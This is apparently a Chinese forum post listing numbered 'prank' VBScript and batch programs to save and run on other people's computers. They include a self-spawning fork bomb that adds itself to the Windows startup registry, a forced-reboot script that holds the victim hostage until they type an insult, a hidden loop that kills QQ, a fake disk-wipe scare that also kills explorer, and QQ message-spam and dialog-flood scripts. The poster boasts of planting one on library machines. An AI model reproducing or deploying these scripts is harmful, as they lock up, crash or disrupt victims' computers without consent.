十一、电脑死机了Setsh=CreateObject("WScript.Shell")dim i,s,z,thnz=array(4,5,16,32,48,64)i=0s=1dodo while i<s
..十一、电脑死机了
Setsh=CreateObject("WScript.Shell")
dim i,s,z,thn
z=array(4,5,16,32,48,64)
i=0
s=1
do
do while i<s
i=i+1
sh.run wscript.scriptfullname
loop
s=s+1
i=0
randomize
wscript.sleep int(rnd()*100)
msgbox "程序发生未知的错误!",z(int((6-1)*rnd()+1)),"Error?@#%^&)TGDZX%#@C889"
thn=wscript.scriptfullname
sh.RegWrite"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/system23",thn
loop
胆子大的可以运行看看,嘿嘿,改成.vbs格式
cpu飙到100%，死机的。，强行关机都没反映，直接拔电源的，
之后重新打开电脑还是在继续开窗口，cao，一直到2000多的窗口，完全没办法动鼠标的，你妹的，这是坑人，
十二、电脑死机
do
createobject("wscript.shell").runwscript.scriptfullname
loop
别小看这三行,你可以运行试试,让你五秒内死机，十秒内鼠标不能动！改成.vbs
十三、我是猪
setws=createobject("wscript.shell")
call shutdown(1)
do while a<>"我是猪"
a=inputbox("快在下面的框框里输入我是猪,否则后果自负，快输""我是猪""","输不输","")
loop
call shutdown(2)
msgbox "早说就行了嘛",4096+64
msgbox"再输一遍我是猪!",4096+64
msgbox"我是猪!",4096+64
MsgBox"最后一次!",4096+64
MsgBox"如果你很快的点过去,不看的话",4096+64
MsgBox"我就要你踩我空间的!哼!",4096+64
MsgBox"从前有座山!",4096+64
MsgBox"山里有个庙.",4096+64
MsgBox"庙里有个老和尚在讲故事.",4096+64
ws.run"iexplore.exehttp://new.qzone.qq.com/********/infocenter"
msgbox"哎呀累了！数绵羊哄我睡觉",4096+64
for i=1 to 100
MsgBox i&"只绵羊",4096+64
next
msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64
msgbox"最后问个问题，我是不是大好人！",4096+64
if inputbox("是不是","请选择","是")<>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60-c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
记得把********换成你的qq号，改成.vbs
十四、QQ不能运行
@echo off
if "%1" == "h" gotobegin
mshtavbscript:createobject("wscript.shell").run("%~nx0h",0)(window.close)&&exit
:begin
tasklist |find /i "QQ.exe"
if %errorlevel%==0 (goto killit) else (gotonext)
:killit
taskkill /f /im QQ.exe
:next
ping -n 3 127.t >nul 2>nul
goto begin
——————————分割线————————
把以上代码保存成txt格式，然后把后缀改成bat,然后双击运行
嘿嘿，那你的qq就不能运行了哟
十五、磁盘格式化
@ color 4f
@echo off
echo 删除计算机的C盘的所有文件......
ping 127.0.0.1 /n 2 >nul
echo 已删除完毕
echo.
echo 删除计算机的D盘的所有文件......
ping 127.0.0.1 /n 2 >nul
echo 已删除完毕
echo.
echo 删除计算机的E盘的所有文件......
ping 127.0.0.1 /n 2 >nul
echo 已删除完毕
@ color
echo.
echo.=========================================
echo. 啊哈哈，都删关，都杀关，哈哈……
echo.=========================================
echo. 系统将马上崩溃......
echo. 这是一个***程序......您的所有资料已经传到[email protected]
shutdown /r /t 30 /c "电脑在30s内即将崩溃,哈哈，你活该！"
ntsd -c q -pn explorer.exe
ping 127.0.0.1 /n 20 >nul
start explorer.exe
shutdown -a
____________________________分割线______________________
将分割线以上部分保存到txt格式，然后把后缀改成bat就可以运行了
运行后你的磁盘会被格式化
当然
那是假的。。。用来吓人的。。。
希望你玩的愉快。。。
--------------------------------------------------------------------
十六、系统关机
不懂的人看一下，那直接关机来说，就是复制下面那个直接关机代码
dim WSHshell
set WSHshell =wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t00",0 ,true
然后保存，后缀改为VBS格式的，VBS是VB的脚本语言能直接通过DOS运行的。
十七、QQ骚扰信息
[replyview]一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).
xx.vbs=>
=---------------------------------------------------------------------------
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("与 xx 聊天中")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
----------------------------------------------------------------------------
QQ骚扰信息,也可以用在其它程序上。
十八、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈
------------------------------------------------------------------------------
do
msgbox "You are foolish!"
loop
十九、不断按下alt+f4 （开什么都关闭……）
dim WSHshell
set WSHshell =wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
二十、按500次回车
(以下代码在运行者的电脑上显示500个对话框。其中 dountil s=500 ，500可以随意更改)
dim s
do until s=500
s=s+1
msgbox "哥们，给我按500次回车吧",64
loop
二十一、我是猪
-------------------------------------------------------------------------------------------
setws=createobject("wscript.shell")
call shutdown(1)
do while a<>"我是猪"
a=inputbox("快在下面的框框里输入我是猪,否则后果自负，快输""我是猪""","输不输","")
loop
call shutdown(2)
msgbox "早说就行了嘛",4096+64
msgbox"再输一遍我是猪!",4096+64
msgbox"我是猪!",4096+64
MsgBox"最后一次!",4096+64
MsgBox"如果你很快的点过去,不看的话",4096+64
MsgBox"我就要你踩我空间的!哼!",4096+64
MsgBox"从前有座山!",4096+64
MsgBox"山里有个庙.",4096+64
MsgBox"庙里有个老和尚在讲故事.",4096+64
ws.run"iexplore.exehttp://new.qzone.qq.com/765012057/infocenter"
msgbox"哎呀累了！数绵羊哄我睡觉",4096+64
for i=1 to 100
MsgBox i&"只绵羊",4096+64
next
msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64
msgbox"最后问个问题，我是不是大好人！",4096+64
if inputbox("是不是","请选择","是")<>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60-c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
--------------------------------------------------------------------------------
ws.run"iexplore.exehttp://new.qzone.qq.com/765012057/infocenter"
这段代码可以改成你自己设定的地址
如果别人不输我是猪的话就会一直点下去点到你设定的数字
for i=1 to 100
从1到100
可以改成 20 其他的数字
解除这个VBS脚本的办法就简单了只是关掉任务管理器里Wscript.exe
这个进程就好了...
